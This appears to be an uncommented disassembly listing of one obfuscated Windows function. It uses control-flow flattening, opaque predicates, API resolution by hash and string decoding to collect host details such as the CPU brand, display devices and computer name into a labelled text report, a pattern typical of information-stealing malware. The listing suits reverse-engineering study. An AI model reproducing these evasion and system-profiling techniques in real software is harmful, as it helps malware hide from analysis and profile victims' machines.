shr eax, 2
and eax, 0xfffffffe
lea eax, [eax + eax*8]
shr eax, 0xe
imul eax, eax, 0x2b
shr eax, 0xe
mov dword [esi + 8], eax
mov dword [esi], 0x6d1dd2ca
jmp 0x435c9f
mov eax, dword [esi + 0x1a4]
mov ecx, dword [esi + 0x1b0]
mov dword [ecx], eax
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1a8]
mov dword [eax + 8], ecx
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1ac]
mov dword [eax + 0xc], ecx
mov eax, 0x80000003
mov ecx, 0
cpuid
mov dword [esi + 0xc8], eax
mov dword [esi + 0xcc], ebx
mov dword [esi + 0xd0], ecx
mov dword [esi + 0xd4], edx
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xc8]
mov dword [esi + 0x1b4], eax
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov dword [esi + 0x1b8], eax
mov dword [esi], 0xb7f4f9c
jmp 0x435c9f
mov eax, dword [esi + 4]
lea edi, [eax + eax*2]
shl edi, 7
add edi, 0xfffffe6d
mov dword [esi + 4], edi
push edi
call fcn.00435c88
add esp, 4
mov eax, 0xe38d4443
cmp edi, 0xe0
jl 0x439cdf
mov eax, 0xc3c216ce
mov dword [esi], eax
jmp 0x435c9f
imul eax, dword [esi + 8], 0xc6
add eax, 0x48
mov dword [esi + 8], eax
mov dword [esi], 0xacd3253b
jmp 0x435c9f
mov eax, dword [esi + 0x90]
mov ecx, dword [0x471546]
mov dword [eax + 4], ecx
mov ecx, dword [0x471542]
mov dword [eax], ecx
push 4
push 0x47154a
push 8
push dword [esi + 0x90]
call fcn.0043a770
add esp, 0x10
mov dword [esi], 0xf59aa411
jmp 0x435c9f
mov eax, dword [esi + 8]
imul ecx, eax, 0xcd
imul ecx, ecx
imul edx, ecx, 0x17ed
dec edx
imul eax, eax, 0xcd00
mov dword [esi + 8], eax
mov eax, 0xa16d3975
cmp edx, ecx
je 0x439d61
mov eax, 0xc02aa3de
mov dword [esi], eax
jmp 0x435c9f
push dword [esi + 0x5c]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
mov dword [esi], 0xd2823ab7
jmp 0x435c9f
push 0x18
push 0x467bb0
push dword [esi + 0xec]
call fcn.00443950
add esp, 0xc
push 4
push 0x467bc8
push 0xc
push dword [esi + 0xec]
call fcn.0043a620
add esp, 0x10
push dword [esi + 0xec]
push 0x5f086d32
call fcn.0043e3a0
add esp, 8
push dword [esi + 0x20]
call eax
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
shrd ecx, eax, 0xa
shr eax, 0xa
mov dword [esi + 0x118], ecx
mov dword [esi + 0x11c], eax
mov dword [esi], 0x6b38afcd
jmp 0x435c9f
imul eax, dword [esi + 8], 0x1580000
add eax, 0xbe4dffe9
mov dword [esi + 8], eax
mov dword [esi], 0xe663ea5a
jmp 0x435c9f
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xb0], eax
mov eax, dword [esi + 0xb0]
add eax, 0x18
mov dword [esi + 0x198], eax
mov dword [esi], 0xc45b011c
jmp 0x435c9f
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1b4]
mov dword [eax + 0x10], ecx
mov eax, dword [esi + 0x10]
add eax, 0x14
mov dword [esi + 0x1c4], eax
mov dword [esi], 0xd73ceb27
jmp 0x435c9f
imul eax, dword [esi + 4], 0xdc
shr eax, 0xd
add eax, 0xed
mov dword [esi + 4], eax
push 0x1755
push 0x5818
push 0x520f
push eax
call fcn.0043a770
add esp, 0x10
mov dword [esi], 0xa645f8e4
jmp 0x435c9f
mov eax, dword [esi + 0x18]
mov dword [esi], 0x4160e19b
jmp 0x435c9f
mov dword [esi], 0x6b36a75c
jmp 0x435c9f
push 4
push 0x47153e
push 6
push dword [esi + 0x88]
call fcn.0043a770
add esp, 0x10
mov eax, dword [esi + 0x24]
mov ecx, dword [esi + 0x88]
mov edx, dword [ecx]
mov ecx, dword [ecx + 3]
mov dword [eax + 3], ecx
mov dword [eax], edx
mov dword [esi], 0xb6a34bc2
jmp 0x435c9f
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x48], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x4c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x18], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x50], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x54], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x58], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x5c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x60], eax
sub esp, 0x1a8
mov eax, esp
mov dword [esi + 0x1c], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x64], eax
mov dword [esi], 0xc3c216ce
jmp 0x435c9f
mov eax, dword [esi + 8]
shr eax, 5
and eax, 0x3fffff
imul eax, eax, 0xd9
mov dword [esi + 8], eax
mov dword [esi], 0xb48e79f6
jmp 0x435c9f
imul eax, dword [esi + 8], 0xbb62
mov dword [esi + 8], eax
mov dword [esi], 0x74b82696
jmp 0x435c9f
mov edi, dword [esi + 4]
shl edi, 0x1f
mov dword [esi + 4], edi
push edi
call fcn.00435c88
add esp, 4
mov eax, 0x444b1400
test edi, edi
je 0x439f87
mov eax, 0x7f31619f
mov dword [esi], eax
jmp 0x435c9f
mov edi, dword [esi + 4]
mov eax, 0xfffffed9
add edi, eax
mov dword [esi + 4], edi
call fcn.00407731
mov eax, 0x6a428a4e
cmp edi, 0xe0
jb 0x439fb2
mov eax, 0x44c10536
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 0xe8]
add eax, 0xc
mov dword [esi + 0x1dc], eax
mov dword [esi], 0x1b484b2e
jmp 0x435c9f
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd4]
mov dword [esi + 0x1c0], eax
mov dword [esi], 0x15d2c650
jmp 0x435c9f
mov ecx, dword [esi + 4]
add ecx, 0xc
mov dword [esi + 4], ecx
mov eax, 0xc506f8ea
cmp ecx, 0xab
jae 0x43a017
mov eax, 0xfe9cbc93
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 0xf0]
mov byte [eax + 0x1d], 0
push 0x1d
push str.Lm_dN
push dword [esi + 0xf0]
call fcn.00443950
add esp, 0xc
mov dword [esi], 0xff6a3c06
jmp 0x435c9f
mov eax, dword [esi + 4]
shl eax, 9
and eax, 0xffffe00
imul edi, eax, 0xdf
add edi, 0xffffff8c
mov dword [esi + 4], edi
push edi
call fcn.00435c88
add esp, 4
mov eax, 0xeb103755
cmp edi, 0xaf
jl 0x43a07a
mov eax, 0x8eaab81d
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 4]
shr eax, 0xb
imul edi, eax, 0x2508
mov dword [esi + 4], edi
push edi
call fcn.00435c88
add esp, 4
mov eax, 0x9cc835ea
cmp edi, 0xe8
je 0x43a0ab
mov eax, 0x516304b9
mov dword [esi], eax
jmp 0x435c9f
push str.Zbbaau__4
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x14c], eax
push eax
mov eax, esp
mov dword [esi + 0x80], eax
mov dword [esi], 0xe5444044
jmp 0x435c9f
push 7
push 0x471614
push 0x14
push dword [esi + 0xac]
call fcn.0043a770
add esp, 0x10
mov dword [esi], 0x3f742007
jmp 0x435c9f
mov dword [esi], 0xb14b28f1
jmp 0x435c9f
mov eax, dword [esi + 0x64]
mov eax, dword [esi + 0x1c]
mov eax, dword [esi + 0x60]
mov eax, dword [esi + 0x5c]
mov dword [esi], 0xd5e027db
jmp 0x435c9f
imul eax, dword [esi + 8], 0x4e00
add eax, 0xfffaf900
mov dword [esi + 8], eax
mov dword [esi], 0xc612c5ad
jmp 0x435c9f
push dword [esi + 0x18]
call fcn.004409e8
add esp, 4
mov dword [esi + 0x16c], eax
push 1
push 0x800
call fcn.0044e933
add esp, 8
mov dword [esi + 0x108], eax
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 8]
mov dword [esi + 0x170], eax
mov eax, dword [esi + 0x18]
add eax, 4
mov dword [esi + 0x174], eax
mov dword [esi], 0xddae6694
jmp 0x435c9f
mov eax, dword [esi + 4]
mov ecx, eax
shl ecx, 5
lea ecx, [ecx + eax*2]
add ecx, 0xffffd7c2
mov dword [esi + 4], ecx
mov eax, 0xcf0ed0fc
cmp ecx, 0x75
jge 0x43a1b4
mov eax, 0xa30b2c58
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 4]
mov ecx, 0x1fff65
add eax, ecx
shr eax, 3
imul ecx, eax, 0x3f0000
mov dword [esi + 4], ecx
mov eax, 0x150f2f51
cmp ecx, 0x30
jge 0x43a1e0
mov eax, 0xf7f4c541
mov dword [esi], eax
jmp 0x435c9f
push eax
sub esp, 0x14
mov edi, esp
mov word [edi + 0x14], 0
push 0x14
push 0x467ae0
push edi
call fcn.00443950
add esp, 0xc
push 8
push 0x467af4
push 0xa
push edi
call fcn.0043a620
add esp, 0x10
push edi
push 0x3d95e230
call fcn.0043e3a0
add esp, 8
push 0
call eax
mov dword [esi + 0x128], eax
mov dword [esi], 0x8c9a7c36
jmp 0x435c9f
mov dword [esi], 0xa87d953
jmp 0x435c9f
mov eax, dword [esi + 8]
shr eax, 0xc
and eax, 0xfffffffc
imul eax, eax, 0x2e400
or eax, 0x66
mov dword [esi + 8], eax
mov dword [esi], 0xa0519cc0
jmp 0x435c9f
mov edi, dword [esi + 4]
add edi, 0x3e
mov eax, edi
shr eax, 0xe
mov dword [esi + 4], eax
push eax
call fcn.00435c88
add esp, 4
mov eax, 0xed1b63f6
cmp edi, 0x208000
jae 0x43a28c
mov eax, 0xc5e14dae
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 0xf4]
add eax, 0x14
mov dword [esi + 0x1ec], eax
mov dword [esi], 0x8ecd0d61
jmp 0x435c9f
xor eax, eax
push eax
push dword [esi + 0x1c]
push eax
push eax
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
mov eax, dword [esi + 0x64]
mov eax, dword [esi + 0x64]
mov dword [eax + 4], 0x203a55
mov dword [eax], 0x5047202d
push dword [esi + 0x64]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
mov eax, dword [esi + 0x1c]
add eax, 0x24
mov dword [esi + 0x1e4], eax
mov dword [esi], 0xa8be00b9
jmp 0x435c9f
mov eax, dword [esi + 4]
shr eax, 2
and eax, 0x3ffff000
add eax, 0x7000
mov dword [esi + 4], eax
call fcn.00407731
mov dword [esi], 0xfc921bf5
jmp 0x435c9f
mov eax, dword [esi + 0x20]
mov dword [esi], 0x1314e9f5
jmp 0x435c9f
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0x12c]
mov dword [esi + 0x130], eax
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x74], eax
mov dword [esi], 0x1f64fb16
jmp 0x435c9f
mov eax, dword [esi + 0x38]
mov eax, dword [esi + 0x34]
mov eax, dword [esi + 0x14]
mov eax, dword [esi + 0x30]
mov eax, dword [esi + 0x2c]
mov eax, dword [esi + 0x28]
mov dword [esi], 0x2eac4378
jmp 0x435c9f
imul edi, dword [esi + 4], 0xac640000
add edi, 0x547c0000
mov dword [esi + 4], edi
push edi
call fcn.00435c88
add esp, 4
mov eax, 0xe38d4443
cmp edi, 0x89
jge 0x43a38f
mov eax, 0x84554dd1
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 4]
shr eax, 7
imul edi, eax, 0xcc
mov dword [esi + 4], edi
call fcn.00407731
mov eax, 0x5966d6ac
cmp edi, 0x75
jl 0x43a3b9
mov eax, 0xc3c216ce
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
push dword [esi + 0x14]
push dword [esi + 0x30]
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x34]
mov dword [esi], 0xe67f83a
jmp 0x435c9f
push dword [esi + 0x170]
push dword [esi + 0x178]
push dword [esi + 0x17c]
push dword [esi + 0x180]
push dword [esi + 0xa4]
push 0x7ff
push dword [esi + 0x108]
call fcn.00426156
add esp, 0x1c
mov eax, dword [esi + 0x50]
mov dword [esi], 0xa953ddc3
jmp 0x435c9f
mov edi, dword [esi + 4]
shl edi, 0x12
add edi, 0xff900000
mov dword [esi + 4], edi
push edi
call fcn.00435c88
add esp, 4
push 0x2be2
push edi
push 0x3a52
push 0xdae
call fcn.0043a770
add esp, 0x10
mov eax, 0x44c10536
cmp edi, 0xe8
jl 0x43a466
mov eax, 0x719fe0ff
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 8]
mov ecx, 0xa8
add eax, ecx
shr eax, 0xa
imul ecx, eax, 0x3500
imul eax, eax
imul edx, eax, 0x69c7
dec edx
add ecx, 0xffbd568f
mov dword [esi + 8], ecx
mov ecx, 0x375c1a1a
cmp eax, edx
je 0x43a4a1
mov ecx, 0x425df280
mov dword [esi], ecx
jmp 0x435c9f
imul edi, dword [esi + 4], 0x1533e00
add edi, 0x2d5e1000
mov dword [esi + 4], edi
push edi
call fcn.00435c88
add esp, 4
push edi
push 0x2cba
push 0x3d37
push 0x24cd
call fcn.0043a770
add esp, 0x10
mov dword [esi], 0x3266c6ca
jmp 0x435c9f
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x30], eax
push eax
mov eax, esp
mov dword [esi + 0x14], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x34], eax
mov dword [esi], 0xe38d4443
jmp 0x435c9f
mov ecx, dword [esi + 4]
add ecx, 0xffffffb0
shr ecx, 9
and ecx, 0xffffffc0
mov dword [esi + 4], ecx
mov eax, 0x7f31619f
cmp ecx, 0x6e
jae 0x43a527
mov eax, 0xc790f37e
mov dword [esi], eax
jmp 0x435c9f
mov edi, dword [esi + 4]
shl edi, 0xd
add edi, 0xdbfe7
mov dword [esi + 4], edi
push 0x4290
push edi
push 0x4ee2
push 0x16bf
call fcn.0043a620
add esp, 0x10
push edi
push 0x238e
push 0x1fc4
push 0x1b63
call fcn.0043a620
add esp, 0x10
mov dword [esi], 0xf7292251
jmp 0x435c9f
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0x144]
mov dword [esi + 0x148], eax
mov dword [esi], 0x79322a22
jmp 0x435c9f
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xa8], eax
mov dword [esi], 0xfbe92400
jmp 0x435c9f
mov eax, dword [esi + 0x7c]
mov byte [eax + 0xf], 0
mov edi, 0xf
push edi
push 0x47151e
push dword [esi + 0x7c]
call fcn.00443950
add esp, 0xc
push 7
push 0x47152d
push edi
push dword [esi + 0x7c]
call fcn.0043a770
add esp, 0x10
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x7c]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi], 0x3361bb01
jmp 0x435c9f
cmp eax, 0x2eac4378
jne 0x435c9f
mov eax, dword [esi + 0x24]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret